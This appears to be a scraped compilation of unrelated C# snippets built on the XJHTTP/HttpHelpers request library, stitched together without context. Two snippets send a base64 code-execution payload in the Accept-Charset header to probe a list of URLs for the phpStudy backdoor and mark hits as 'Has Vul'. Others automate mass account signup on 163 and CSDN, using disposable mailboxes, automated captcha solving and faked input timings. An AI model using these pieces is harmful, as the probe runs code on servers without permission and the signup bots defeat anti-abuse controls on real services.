/// <summary> /// Post /// </summary> /// <param name="Url"></param> /// <param name="Postdata"></param> /// <param name="Cookie"></param> /// <param name="ProxyIp"></param> /// <param name="ContentType"></param> /// <param name="Referer"></param> /// <returns></returns> public static HttpResults Nut_Post(String Url, String Postdata, String Cookie, String ProxyIp, String Referer = null, String ContentType = "application/x-www-form-urlencoded") { HttpHelpers helper = new HttpHelpers(); //请求执行对象 HttpItems items; //请求参数对象 HttpResults hr = new HttpResults(); //请求结果对象 string res = string.Empty; //请求结果,请求类型不是图片时有效 string url = Url; //请求地址 items = new HttpItems(); //每次重新初始化请求对象 items.URL = url; //设置请求地址 items.ProxyIp = ProxyIp; //设置代理 items.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"; //设置UserAgent items.Referer = Referer; Cookie = new XJHTTP().UpdateCookie(Cookie, ""); //合并自定义Cookie, 注意!!!!! 仅在有需要合并Cookie的情况下 第一次给 " " 信息,其他类库会自动维护,不需要每次调用更新 items.Cookie = Cookie; //设置字符串方式提交cookie items.Allowautoredirect = true; //设置自动跳转(True为允许跳转) 如需获取跳转后URL 请使用 hr.RedirectUrl items.ContentType = ContentType; //内容类型 items.Method = "POST"; //设置请求数据方式为Post items.Postdata = Postdata; //Post提交的数据 hr = helper.GetHtml(items, ref Cookie); //提交请求 return(hr); //返回具体结果 }
public static string ConvertUrl(string _pdata) { /* * Cookie常用的几种处理方式: * new XJHTTP().UpdateCookie("旧Cookie", "请求后的Cookie");//合并Cookie,将cookie2与cookie1合并更新 返回字符串类型Cookie * new XJHTTP().StringToCookie("网站Domain", "字符串Cookie内容");//将文字Cookie转换为CookieContainer 对象 * new XJHTTP().CookieTostring("CookieContainer 对象");//将 CookieContainer 对象转换为字符串类型 * new XJHTTP().GetAllCookie("CookieContainer 对象");//得到CookieContainer中的所有Cookie对象集合,返回List<Cookie> * new XJHTTP().GetCookieByWininet("网站Url");//从Wininet 中获取字符串Cookie 可获取IE与Webbrowser控件中的Cookie * new XJHTTP().GetAllCookieByHttpItems("请求设置对象");//从请求设置对象中获取Cookie集合,返回List<Cookie> * new XJHTTP().ClearCookie("需要处理的字符串Cookie");//清理string类型Cookie.剔除无用项返回结果为null时遇见错误. * new XJHTTP().SetIeCookie("设置Cookie的URL", "需要设置的Cookie");//可设置IE/Webbrowser控件Cookie * new XJHTTP().CleanAll();//清除IE/Webbrowser所有内容 (注意,调用本方法需要管理员权限运行) CleanHistory();清空历史记录 CleanCookie(); 清空Cookie CleanTempFiles(); 清空临时文件 */ string url = "dwz.cn/create.php"; //请求地址 string res = string.Empty; //请求结果,请求类型不是图片时有效 string pdata = "url=" + _pdata; //提交数据(必须项) System.Net.CookieContainer cc = new System.Net.CookieContainer(); //自动处理Cookie对象 HttpHelpers helper = new HttpHelpers(); //发起请求对象 HttpItems items = new HttpItems(); //请求设置对象 HttpResults hr = new HttpResults(); //请求结果 items.URL = url; //设置请求地址 items.Container = cc; //自动处理Cookie时,每次提交时对cc赋值即可 items.Postdata = pdata; //提交的数据 items.Method = "Post"; //设置请求类型为Post方式(默认为Get方式) hr = helper.GetHtml(items); //发起请求并得到结果 res = hr.Html; //得到请求结果 return(res); }
System.Net.CookieContainer cc = new System.Net.CookieContainer();//自动处理Cookie对象 #region 获取一个邮箱地址 /// <summary> /// 获取一个邮箱地址 /// </summary> /// <returns></returns> public string GetEmail() { string url = "https://10minutemail.net/"; //请求地址 string res = string.Empty; //请求结果,请求类型不是图片时有效 HttpHelpers helper = new HttpHelpers(); //发起请求对象 HttpItems items = new HttpItems(); //请求设置对象 HttpResults hr = new HttpResults(); //请求结果 items.URL = url; //设置请求地址 items.Container = cc; //自动处理Cookie时,每次提交时对cc赋值即可 hr = helper.GetHtml(items); //发起请求并得到结果 res = hr.Html; //得到请求结果 Regex reg = new Regex("data-clipboard-text=\"(.*?)\"><i class=\"fa"); MatchCollection mc = reg.Matches(res); //string GroupsResult = string.Empty; for (int i = 0; i < mc.Count; i++) { GroupCollection gc = mc[i].Groups; //得到所有分组 for (int j = 1; j < gc.Count; j++) //多分组 匹配的原始文本不要 { string temp = gc[j].Value; if (!string.IsNullOrEmpty(temp)) { //GroupsResult += string.Format("Groups 【{0}】 Values 【{1}】", (j).ToString(), temp); //获取结果 return(temp); } } } return(string.Empty); }
private void button2_Click(object sender, EventArgs e) { //system("whoami"); if (this.textBox1.Text == "") { MessageBox.Show("No Url"); } else if (this.textBox2.Text == "") { MessageBox.Show("No Code"); } else { HttpHelpers httpHelpers = new HttpHelpers(); HttpItems httpItems = new HttpItems(); HttpResults httpResults = new HttpResults(); httpItems.URL = this.textBox1.Text; httpItems.Timeout = 5000; httpItems.Accept = "*/*"; httpItems.UserAgent = "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)"; httpItems.ContentType = "application/x-www-form-urlencoded"; httpItems.Header.Add("Accept-Encoding", "gzip,deflate"); httpItems.Header.Add("Accept-Charset", "cHJpbnQoIkEtWkBRQVFAMC05Lk9LIik7"); httpItems.Method = "Get"; httpResults = httpHelpers.GetHtml(httpItems); if (httpResults.Html.Contains("A-Z@[email protected]")) { get_code(); } else { MessageBox.Show("No Vul"); } } }
public void forlog(string cookie, string name, string pwd) { string url = string.Format("http://reg.email.163.com/unireg/call.do?cmd=register.formLog"); string[] data = { string.Format("opt=write_field&flow=main&field=name&result=done&uid={0}%40163.com&timecost={1}&level=info", name, new Random().Next(4000, 10000).ToString()), string.Format("opt=write_field&flow=main&field=pwd&result=done&strength=2&timecost={0}&level=info", new Random().Next(4000, 10000).ToString()), string.Format("opt=write_field&flow=main&field=cfmPwd&result=done&timecost={0}&level=info", new Random().Next(4000, 10000).ToString()), string.Format("opt=write_field&flow=main&field=vcode&result=done&timecost={0}&level=info", new Random().Next(4000, 10000).ToString()), }; string postdata = ""; //"opt=write_field&flow=main&field=name&result=done&uid=kljdiel%40163.com&timecost=4460&level=info"; //opt=write_field&flow=main&field=pwd&result=done&strength=2&timecost=2927&level=info //opt=write_field&flow=main&field=cfmPwd&result=done&timecost=2967&level=info //opt=write_field&flow=main&field=vcode&result=done&timecost=4920&level=info int index = 0; while (index < data.Length) { postdata = data[index]; index++; items = new HttpItems() { URL = url, Cookie = Cookies, ProxyIp = Proxy }; hr = helper.GetHtml(items, ref Cookies); //Cookies += HttpHelpers.GetSmallCookie(hr.Cookie); string reHtml = hr.Html.Replace("\r\n", "").Replace("\t", "").Replace("\n", ""); } //reHtml = reHtml.Trim(); }
public string GetVcode() { while (true) { antiIndex = AntiHelper.LoadCdsFromFile(System.Environment.CurrentDirectory + "\\csdn.cds", "csdn20160126"); string url = "http://passport.csdn.net/ajax/verifyhandler.ashx?rand=" + DateTime.Now.ToString("yyyyMMddHHmmss"); //请求地址 string res = string.Empty; //请求结果,请求类型不是图片时有效 HttpHelpers helper = new HttpHelpers(); //发起请求对象 HttpItems items = new HttpItems(); //请求设置对象 HttpResults hr = new HttpResults(); //请求结果 items.URL = url; //设置请求地址 items.Container = cc; //自动处理Cookie时,每次提交时对cc赋值即可 items.ResultType = ResultType.Byte; //设置请求返回值类型为Byte StringBuilder vCodeResult = new StringBuilder('\0', 256); hr = helper.GetHtml(items); byte[] img = hr.ResultByte; if (AntiHelper.GetVcodeFromBuffer(antiIndex, img, img.Length, vCodeResult)) { items = new HttpItems(); items.URL = "http://passport.csdn.net/account/register?action=validateCode&validateCode=" + vCodeResult; items.Container = cc; //自动处理Cookie时,每次提交时对cc赋值即可 hr = helper.GetHtml(items); //发起请求并得到结果 if (!hr.Html.Contains("false")) { return(vCodeResult.ToString()); } } Thread.Sleep(1000); } }
static string StrCookie = ""; //设置初始Cookie值 /// <summary> /// 执行HttpCodeCreate /// </summary> public static string GetCarData() { string res = string.Empty; //请求结果,请求类型不是图片时有效 string url = "http://car.autohome.com.cn/javascript/NewSpecCompare.js?20131010"; //请求地址 items = new HttpItems(); //每次重新初始化请求对象 items.URL = url; //设置请求地址 //items.Referer = "http://car.autohome.com.cn/price/brand-35.html";//设置请求来源 items.Referer = "https://car.autohome.com.cn/price/series-3891.html"; //设置请求来源 items.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"; //设置UserAgent items.Cookie = StrCookie; //设置字符串方式提交cookie items.Allowautoredirect = true; //设置自动跳转(True为允许跳转) 如需获取跳转后URL 请使用 hr.RedirectUrl items.ContentType = "application/x-www-form-urlencoded"; //内容类型 hr = helper.GetHtml(items, ref StrCookie); //提交请求 res = hr.Html; //具体结果 res = res.Split('=')[1]; int x = res.LastIndexOf(";", res.Length); //lastindexof是从最后开始取.indexof才是从前面开始 res = res.Substring(0, x); return(res.Trim());//返回具体结果 }
private bool Reg_SendEamil(string email, string vCode, out string username, out string pwd) { username = email.Split('@')[0]; pwd = DateTime.Now.ToString("HHmmss") + username; StringBuilder postData = new StringBuilder(); postData.Append("fromUrl=http%3A%2F%2Fwww.csdn.net%2F&userName="******"&email=" + Encode.UrlEncode(email)); postData.Append("&password="******"&confirmpassword="******"&validateCode=" + vCode + "&agree=on"); HttpHelpers helper = new HttpHelpers(); //发起请求对象 HttpItems items = new HttpItems(); //请求设置对象 HttpResults hr = new HttpResults(); //请求结果 items.URL = "http://passport.csdn.net/account/register?action=saveUser&isFrom=true"; //设置请求地址 items.Postdata = postData.ToString(); items.Method = "Post"; items.Container = cc; //自动处理Cookie时,每次提交时对cc赋值即可 hr = helper.GetHtml(items); //发起请求并得到结果 if (hr.Html.Contains("请在24小时内点击邮件中的链接继续完成注册")) { return(true); } return(false); }
/// <summary> /// 检查某用户名可否被注册 /// </summary> /// <param name="username"></param> /// <returns></returns> private bool CheckUserName(string username) { try { string url = String.Format("http://reg.email.163.com/unireg/call.do?cmd=urs.checkName"); string postdata = "name=" + username; items = new HttpItems() { URL = url, Cookie = Cookies, Method = "post", Postdata = postdata, IsAjax = true }; //items.Container = cc; // items.ProxyIp = proxy ; hr = helper.GetHtml(items, ref Cookies); //Cookies += HttpHelpers.GetSmallCookie(hr.Cookie); string reHtml = hr.Html.Replace("\r\n", "").Replace("\t", "").Replace("\n", ""); reHtml = reHtml.Trim(); //Cookiesss += hr.Cookie; if (reHtml.Contains("OK")) { return(true); } } catch (Exception ex) { } return(false); }
public Image GetImage(string url) { /* * Cookie常用的几种处理方式: * new XJHTTP().UpdateCookie("旧Cookie", "请求后的Cookie");//合并Cookie,将cookie2与cookie1合并更新 返回字符串类型Cookie * new XJHTTP().StringToCookie("网站Domain", "字符串Cookie内容");//将文字Cookie转换为CookieContainer 对象 * new XJHTTP().CookieTostring("CookieContainer 对象");//将 CookieContainer 对象转换为字符串类型 * new XJHTTP().GetAllCookie("CookieContainer 对象");//得到CookieContainer中的所有Cookie对象集合,返回List<Cookie> * new XJHTTP().GetCookieByWininet("网站Url");//从Wininet 中获取字符串Cookie 可获取IE与Webbrowser控件中的Cookie * new XJHTTP().GetAllCookieByHttpItems("请求设置对象");//从请求设置对象中获取Cookie集合,返回List<Cookie> * new XJHTTP().ClearCookie("需要处理的字符串Cookie");//清理string类型Cookie.剔除无用项返回结果为null时遇见错误. * new XJHTTP().SetIeCookie("设置Cookie的URL", "需要设置的Cookie");//可设置IE/Webbrowser控件Cookie * new XJHTTP().CleanAll();//清除IE/Webbrowser所有内容 (注意,调用本方法需要管理员权限运行) CleanHistory();清空历史记录 CleanCookie(); 清空Cookie CleanTempFiles(); 清空临时文件 */ //string url = "http://img.ithome.com/images/v2.1/noavatar.png";//请求地址 string res = string.Empty; //请求结果,请求类型不是图片时有效 HttpHelpers helper = new HttpHelpers(); //发起请求对象 HttpItems items = new HttpItems(); //请求设置对象 HttpResults hr = new HttpResults(); //请求结果 items.URL = url; //设置请求地址 items.ResultType = ResultType.Byte; //设置请求返回值类型为Byte return(helper.GetImg(helper.GetHtml(items))); //picImage图像控件Name //return null; }
private void btnGet_Click(object sender, EventArgs e) { Random r = new Random(); //初始化Cookie变量 cc = new System.Net.CookieContainer(); item = new HttpItems(); //get 主页 item.URL = "http://www.mp4ba.com"; item.Cookie = "__cfduid=123456789; search_state=1463675467;"; item.UseUnsafe = true; hr = http.GetHtml(item); string cookie = hr.Cookie; XJHTTP xjhttp = new XJHTTP(); cc = xjhttp.AddCookieToContainer(cc, cookie); //get 验证码 picurl += r.NextDouble(); item.URL = picurl; item.Referer = BaseUrl; item.ResultType = ResultType.Byte; //设置返回值类型 hr = http.GetHtml(item); pic.Image = http.GetImg(hr); }
/// <summary> /// /// </summary> /// <param name="longurl">长链接</param> public static string GetShort(string longurl) { /* * Cookie常用的几种处理方式: * new XJHTTP().UpdateCookie("旧Cookie", "请求后的Cookie");//合并Cookie,将cookie2与cookie1合并更新 返回字符串类型Cookie * new XJHTTP().StringToCookie("网站Domain", "字符串Cookie内容");//将文字Cookie转换为CookieContainer 对象 * new XJHTTP().CookieTostring("CookieContainer 对象");//将 CookieContainer 对象转换为字符串类型 * new XJHTTP().GetAllCookie("CookieContainer 对象");//得到CookieContainer中的所有Cookie对象集合,返回List<Cookie> * new XJHTTP().GetCookieByWininet("网站Url");//从Wininet 中获取字符串Cookie 可获取IE与Webbrowser控件中的Cookie * new XJHTTP().GetAllCookieByHttpItems("请求设置对象");//从请求设置对象中获取Cookie集合,返回List<Cookie> * new XJHTTP().ClearCookie("需要处理的字符串Cookie");//清理string类型Cookie.剔除无用项返回结果为null时遇见错误. * new XJHTTP().SetIeCookie("设置Cookie的URL", "需要设置的Cookie");//可设置IE/Webbrowser控件Cookie * new XJHTTP().CleanAll();//清除IE/Webbrowser所有内容 (注意,调用本方法需要管理员权限运行) CleanHistory();清空历史记录 CleanCookie(); 清空Cookie CleanTempFiles(); 清空临时文件 */ string url = "http://api.t.sina.com.cn/short_url/shorten.json?source=4257120060&url_long=" + Encode.UrlEncode(longurl); //请求地址 string res = string.Empty; //请求结果,请求类型不是图片时有效 System.Net.CookieContainer cc = new System.Net.CookieContainer(); //自动处理Cookie对象 HttpHelpers helper = new HttpHelpers(); //发起请求对象 HttpItems items = new HttpItems(); //请求设置对象 HttpResults hr = new HttpResults(); //请求结果 items.URL = url; //设置请求地址 items.Container = cc; //自动处理Cookie时,每次提交时对cc赋值即可 hr = helper.GetHtml(items); //发起请求并得到结果 res = hr.Html; //得到请求结果 return(res); }
/// <summary> /// 获取/更新票据 /// </summary> /// <param name="forced">true:强制更新.false:按缓存是否到期来更新</param> /// <returns></returns> public static AccessToken GetAccessToken(bool forced = false) { AccessToken model = AccessToken; //TokenCacheTime是缓存时间(常量,也可放到配置文件中),这样在有效期内则直接从缓存中获取票据,不需要再向服务器中获取。 if (!forced && AccessToken.Begin.AddSeconds(DingTalkUrlHelp.TokenCacheTime) >= DateTime.Now) { //没有强制更新,并且没有超过缓存时间 return(model); } string apiurl = DingTalkUrlHelp.GetTokenUrl; try { HttpResults result = HttpHelper.Get(apiurl); Get_AccessToken tokenResult = Newtonsoft.Json.JsonConvert.DeserializeObject <Get_AccessToken>(result.Html); if (tokenResult != null) { if (tokenResult.errcode == 0) { AccessToken.Value = tokenResult.access_token; AccessToken.Begin = DateTime.Now; return(model); } } } catch (Exception ex) { throw ex; } return(model); }
private string test_mm() { IniHelper.FilePath = DT.ConfigPath; string cookie = DT.Cookie; HttpHelpers httpHelpers = new HttpHelpers(); HttpResults httpResults = new HttpResults(); string reString = string.Empty; string uRL = "http://pub.alimama.com/common/getUnionPubContextInfo.json"; httpResults = httpHelpers.GetHtml(new HttpItems { URL = uRL, UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0", Cookie = cookie, Allowautoredirect = true, ContentType = "application/x-www-form-urlencoded" }); reString = httpResults.Html; try { } catch (Exception) { // throw; // MessageBox.Show("系统繁忙,请稍后再试"); base.Close(); } return(reString); }
public static List <GroupInfo> GetGroupList2(ICoolQApi api) { List <GroupInfo> list = new List <GroupInfo>(); try { //CQLogger.GetInstance().AddLog(string.Format("[↓][帐号] 取群列表", new object[0])); string url = "http://qun.qq.com/cgi-bin/qun_mgr/get_group_list"; var postData = new Dictionary <string, string>(); XJHTTP xJHTTP = new XJHTTP(); CookieContainer cookieContainer = xJHTTP.StringToCookie("qun.qq.com", api.GetCookies()); postData.Add("bkn", api.GetCsrfToken().ToString()); HttpResults httpResults = xJHTTP.PostHtml(url, "http://qun.qq.com/member.html", "bkn=" + api.GetCsrfToken().ToString(), false, cookieContainer, 15000); string sourceString = httpResults.Html; MyLogUtil.ToLog(httpResults.Html); var strReg = "{\"gc\":([1-9][0-9]{4,10}),\"gn\":\"(.*?)\",\"owner\":([1-9][0-9]{4,10})}"; Regex reg = new Regex(strReg); MatchCollection matches = reg.Matches(sourceString); MyJsonUtil <GroupInfo2> myJsonUtil = new MyJsonUtil <GroupInfo2>(); foreach (Match match in matches) { GroupInfo2 g = myJsonUtil.parseJsonStr(match.Value); list.Add(new GroupInfo(g.gn, g.gc, g.owner)); } } catch (Exception ex) { //MessageBox.Show(ex.Message); MyLogUtil.ErrToLog("获取群列表出现错误,原因:" + ex); } return(list); }
private void button2_Click(object sender, EventArgs e) { XJHTTP xjhttp = new XJHTTP(); CookieContainer cc = new CookieContainer(); string referer = "www.msdn5.com"; //上一次请求地址 string postdata = "这里是提交的数据"; //post提交数据 HttpResults hr = xjhttp.PostHtml(PostUrl, referer, postdata, true, cc); }
public bool Login163(string user, string pwd) { Cookies = ""; string url = ""; string postdata = ""; string reHtml = ""; try { //获取浏览器标识JESSION等基础信息 url = string.Format("http://reg.163.com/click.jsp?click_in=Login&v={0}&click_count_spec=userLoginQuery&_ahref=&_at=", new XJHTTP().GetTimeByJs()); items = new HttpItems() { URL = url, Cookie = Cookies, Referer = string.Format("http://reg.163.com/UserLogin.do?errorType=460&errorUsername={0}@163.com", user)//"http://reg.163.com/UserLogin.do" }; hr = helper.GetHtml(items, ref Cookies); reHtml = hr.Html; //提交登录信息 url = string.Format("https://reg.163.com/logins.jsp"); postdata = string.Format("type=1&product=urs&url=&url2=http%3A%2F%2Freg.163.com%2FUserLogin.do&username={0}%40163.com&password={1}", user, pwd); items = new HttpItems() { URL = url, Cookie = Cookies, Method = "post", Postdata = postdata, Referer = string.Format("http://reg.163.com/UserLogin.do?errorType=460&errorUsername={0}@163.com", user) }; hr = helper.GetHtml(items, ref Cookies); reHtml = hr.Html; //登录后面内容 url = string.Format("http://reg.163.com/Main.jsp?username={0}", user); items = new HttpItems() { URL = url, Cookie = Cookies, }; hr = helper.GetHtml(items, ref Cookies); reHtml = hr.Html; if (reHtml.Contains("上次登录")) { return(true); } } catch (Exception ex) { } return(false); }
private void button8_Click(object sender, EventArgs e) { XJHTTP xj = new XJHTTP(); item = new HttpItems(); item.URL = "www.msdn5.com"; hr = http.GetHtml(item); DateTime dt = xj.GetServerTime(hr); //返回正常格式的时间 //例如 Date:Sat, 14 Nov 2015 15:55:35 GMT 返回为正常的 2015-11-15 00:21:19 格式 }
public static HttpResults Get(string url) { HttpHelpers http = new HttpHelpers(); HttpItems item = new HttpItems(); item.Url = url; HttpResults hr = http.GetHtml(item); return(hr); }
//TODO:写采集 /// <summary> /// 访问网页 /// </summary> /// <param name="url"></param> /// <returns></returns> public string GetHtml(string url) { System.Net.CookieContainer cc = new System.Net.CookieContainer(); //自动处理Cookie对象 HttpHelpers helper = new HttpHelpers(); //发起请求对象 HttpItems items = new HttpItems(); //请求设置对象 HttpResults hr = new HttpResults(); //请求结果 items.URL = url; //设置请求地址 items.Container = cc; //自动处理Cookie时,每次提交时对cc赋值即可 hr = helper.GetHtml(items); //发起请求并得到结果 return(hr.Html); //得到请求结果 }
private string GetNewMail() { string url = "https://10minutemail.net/mailbox.ajax.php?_=" + DateTime.Now.ToString("yyyyMMddHHmmss"); //请求地址 string res = string.Empty; //请求结果,请求类型不是图片时有效 HttpHelpers helper = new HttpHelpers(); //发起请求对象 HttpItems items = new HttpItems(); //请求设置对象 HttpResults hr = new HttpResults(); //请求结果 items.URL = url; //设置请求地址 items.IsAjax = true; items.Container = cc; //自动处理Cookie时,每次提交时对cc赋值即可 hr = helper.GetHtml(items); //发起请求并得到结果 res = hr.Html; //得到请求结果 if (!res.Contains("CSDN")) { return(string.Empty); } Regex reg = new Regex("<a href=\"(.*?)\">"); MatchCollection mc = reg.Matches(res); List <string> GroupsResult = new List <string>(); for (int i = 0; i < mc.Count; i++) { GroupCollection gc = mc[i].Groups; //得到所有分组 for (int j = 1; j < gc.Count; j++) //多分组 匹配的原始文本不要 { string temp = gc[j].Value; if (!string.IsNullOrEmpty(temp)) { GroupsResult.Add(temp); //获取结果 } } } foreach (var temp in GroupsResult) { if (!temp.Contains("welcome")) { items.URL = "https://10minutemail.net/" + temp; //设置请求地址 //items.IsAjax = true; items.Container = cc; //自动处理Cookie时,每次提交时对cc赋值即可 hr = helper.GetHtml(items); //发起请求并得到结果 res = hr.Html; //得到请求结果 if (res.Contains("感谢您注册CSDN社区")) { return(GetJiHuoHerf(res)); } break; } } return(string.Empty); }
private void button1_Click(object sender, EventArgs e) { XJHTTP xjhttp = new XJHTTP(); string strall = "input type=\"hidden\" name=\"uuid\" value=\"0018h2ZztdI-jKb-\">"; List <string> s = xjhttp.GetStringMids(strall, "value=\"", "\""); string str = xjhttp.GetStringMid(strall, "value=\"", "\""); string s1 = xjhttp.GetMidHtml(strall, "value=\"", "\""); CookieContainer cc = new CookieContainer(); HttpResults hr = xjhttp.GetHtml(BaseUrl, cc); txtInfo.Text = hr.Html; }
private void batchPool() { for (int i = 0; i < this.listView1.Items.Count; i++) { try { string url = this.listView1.Items[i].SubItems[1].Text; HttpHelpers httpHelpers = new HttpHelpers(); HttpItems httpItems = new HttpItems(); HttpResults httpResults = new HttpResults(); httpItems.URL = url; httpItems.Timeout = 5000; httpItems.Accept = "*/*"; httpItems.UserAgent = "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)"; httpItems.ContentType = "application/x-www-form-urlencoded"; httpItems.Header.Add("Accept-Encoding", "gzip,deflate"); httpItems.Header.Add("Accept-Charset", "cHJpbnQoIkEtWkBRQVFAMC05Lk9LIik7"); httpItems.Method = "Get"; httpResults = httpHelpers.GetHtml(httpItems); if (httpResults.Html.Contains("A-Z@[email protected]")) { flag = "1"; //MessageBox.Show("Target Has Vul"); } else { flag = "0"; //MessageBox.Show("No Vul"); } } catch { } finally { if (flag == "1") { this.listView1.Items[i].ForeColor = Color.DarkGray; this.listView1.Items[i].SubItems[2].Text = "Has Vul"; this.listView1.Items[i].SubItems[3].Text = "1"; //MessageBox.Show("Target Has Vul"); } else { this.listView1.Items[i].ForeColor = Color.DarkGray; this.listView1.Items[i].SubItems[2].Text = "No Vul"; this.listView1.Items[i].SubItems[3].Text = "1"; //MessageBox.Show("No Vul"); } Thread.Sleep(1); } } }
/// <summary> /// 解析HTMl为ProductCategory模型 /// </summary> /// <param name="httpResults"></param> /// <returns></returns> public static List <ProductCategory> ParsingHTMLToProductCategoryModel(HttpResults httpResults) { try { if (httpResults.StatusCode == HttpStatusCode.NotFound) { return(null); } HtmlDocument doc = new HtmlDocument(); doc.LoadHtml(httpResults.Html); var nodes = doc.DocumentNode.SelectNodes("//script[@id='__NEXT_DATA__']"); var strJson = nodes[0].InnerHtml; var jsonObject = JsonConvert.DeserializeObject <Dictionary <string, object> >(strJson); var props = JsonConvert.SerializeObject(jsonObject["props"]); var pageProps = JsonConvert.DeserializeObject <Dictionary <string, object> >(props)["pageProps"]; var envelope = JsonConvert.DeserializeObject <Dictionary <string, object> >(JsonConvert.SerializeObject(pageProps))["envelope"]; var data = JsonConvert.DeserializeObject <Dictionary <string, object> >(JsonConvert.SerializeObject(envelope))["data"]; var categories = JsonConvert.DeserializeObject <Dictionary <string, object> >(JsonConvert.SerializeObject(data))["categories"]; var datas = JsonConvert.DeserializeObject <List <Dictionary <string, object> > >(JsonConvert.SerializeObject(categories)); List <ProductCategory> cates = new List <ProductCategory>(); foreach (var item in datas) { ProductCategory cate = new ProductCategory(); cate.CategoryId = Convert.ToInt32(item["id"]); cate.CategoryName = item["label"].ToString().Trim(); cate.ParentCategoryId = -1; cate.DetailUrl = item["url"].ToString(); cates.Add(cate); var subNodes = JsonConvert.DeserializeObject <List <Dictionary <string, object> > >(JsonConvert.SerializeObject(item["subCategories"])); foreach (var item2 in subNodes) { ProductCategory cate2 = new ProductCategory(); cate2.CategoryId = Convert.ToInt32(item2["id"]); cate2.CategoryName = item2["label"].ToString().Trim(); cate2.ParentCategoryId = cate.CategoryId; cate2.DetailUrl = item2["url"].ToString(); cates.Add(cate2); } } return(cates); } catch (Exception ex) { Log.Error(ex.ToString()); return(null); } }
}//获取验证码到控件 private void GetLogin() { string res = string.Empty; //请求结果,请求类型不是图片时有效 string url = "http://bbs.itxueke.com/misc.php?mod=seccode&action=check&inajax=1&modid=member::logging&idhash=" + seccode + "&secverify=" + textBoxCode.Text; //请求地址 items = new HttpItems(); //每次重新初始化请求对象 items.URL = url; //设置请求地址 items.Referer = "http://bbs.itxueke.com/member.php?mod=logging&action=login"; //设置请求来源 items.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0"; //设置UserAgent items.Cookie = StrCookie; //设置字符串方式提交cookie items.Allowautoredirect = true; //设置自动跳转(True为允许跳转) 如需获取跳转后URL 请使用 hr.RedirectUrl items.ContentType = "application/x-www-form-urlencoded"; //内容类型 hr = helper.GetHtml(items, ref StrCookie); //提交请求 res = hr.Html; //具体结果 if (res.IndexOf("succeed") == -1) { MessageBox.Show("抱歉,验证码填写错误,请刷新验证码!"); return; } Console.WriteLine(res); Console.WriteLine(hr.Cookie); res = string.Empty; //请求结果,请求类型不是图片时有效 url = "http://bbs.itxueke.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash" + loginhash + "&inajax=1"; //请求地址 items = new HttpItems(); //每次重新初始化请求对象 items.URL = url; //设置请求地址 items.Referer = "http://bbs.itxueke.com/member.php?mod=logging&action=login"; //设置请求来源 items.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0"; //设置UserAgent items.Cookie = StrCookie; //设置字符串方式提交cookie items.Allowautoredirect = true; //设置自动跳转(True为允许跳转) 如需获取跳转后URL 请使用 hr.RedirectUrl items.ContentType = "application/x-www-form-urlencoded"; //内容类型 items.Method = "POST"; //设置请求数据方式为Post items.Postdata = "formhash=" + formhash + "&referer=http%3A%2F%2Fbbs.itxueke.com%2F.%2F&loginfield=username&username="******"&password="******"&questionid=0&answer=&seccodehash=" + seccode + "&seccodemodid=member%3A%3Alogging&seccodeverify=" + textBoxCode.Text; //Post提交的数据 hr = helper.GetHtml(items, ref StrCookie); //提交请求 res = hr.Html; //具体结果 //Console.WriteLine(res); string temp; if (res.IndexOf("errorhandle") == -1) { temp = xj.GetStringMid(res, "欢迎您回来,", ","); } else { temp = xj.GetStringMid(res, "CDATA[", "<"); } MessageBox.Show(temp); }//开始登录
public static HttpResults Post(string url, string param) { HttpHelpers http = new HttpHelpers(); HttpItems item = new HttpItems(); string PostD = string.Format("{0}", param); item.Url = url; item.Method = "Post"; item.ResultType = ResultType.String; item.Postdata = PostD; HttpResults hr = http.GetHtml(item); return(hr); }
public async Task <string> GetDownloadPageAsync(string url) { string result = string.Empty; //请求phantomjs 获取下载页面 string dom = "Tappable-inactive animated fadeIn"; KeyValuePair <string, string> url2dom = new KeyValuePair <string, string>(url, dom); var postData = JsonConvert.SerializeObject(url2dom); CookieContainer cc = new CookieContainer(); HttpHelpers helper = new HttpHelpers(); HttpItems items = new HttpItems(); HttpResults hr = new HttpResults(); items.Url = this.PostUrl1; items.Method = "POST"; items.Container = cc; items.Postdata = postData; items.Timeout = 100000; hr = await helper.GetHtmlAsync(items); var downloadPageUrl = hr.Html; Console.WriteLine($"first => { downloadPageUrl }"); if (downloadPageUrl.Contains("http")) { //获取百度云下载地址和分享密码 //string code1 = "1"; dom = "Tappable-inactive btn btn-success btn-block"; // 下载链接 url2dom = new KeyValuePair <string, string>(downloadPageUrl, dom); postData = JsonConvert.SerializeObject(url2dom); items = new HttpItems { Url = this.PostUrl2 }; items.Method = "POST"; items.Container = cc; items.Postdata = postData; items.Timeout = 1000000; hr = await helper.GetHtmlAsync(items); result = hr.Html; //返回json数据 Console.WriteLine($"second => { result }"); } else { result = downloadPageUrl; //输出错误信息 } return(result); }
public async Task <string> GetPageHtmlAsync(string url) { string res = string.Empty; //请求结果,请求类型不是图片时有效 CookieContainer cc = new CookieContainer(); //自动处理Cookie对象 HttpHelpers helper = new HttpHelpers(); //发起请求对象 HttpItems items = new HttpItems(); //请求设置对象 HttpResults hr = new HttpResults(); //请求结果 items.Method = "GET"; items.Url = url; //设置请求地址 items.Container = cc; //自动处理Cookie时,每次提交时对cc赋值即可 hr = await helper.GetHtmlAsync(items); res = hr.Html; //得到请求结果 return(res); }
internal static async System.Threading.Tasks.Task <IHtmlDocument> GetDocumentASync(string url) { HttpHelpers httpHelpers = new HttpHelpers(); HttpItems items = new HttpItems(); //首页 items.Url = url; //请求地址 items.Method = "Get"; //请求方式 HttpResults hr = await httpHelpers.GetHtmlAsync(items); //Console.WriteLine(hr.Html); var parser = new HtmlParser(); var document = await parser.ParseAsync(hr.Html); return(document); }
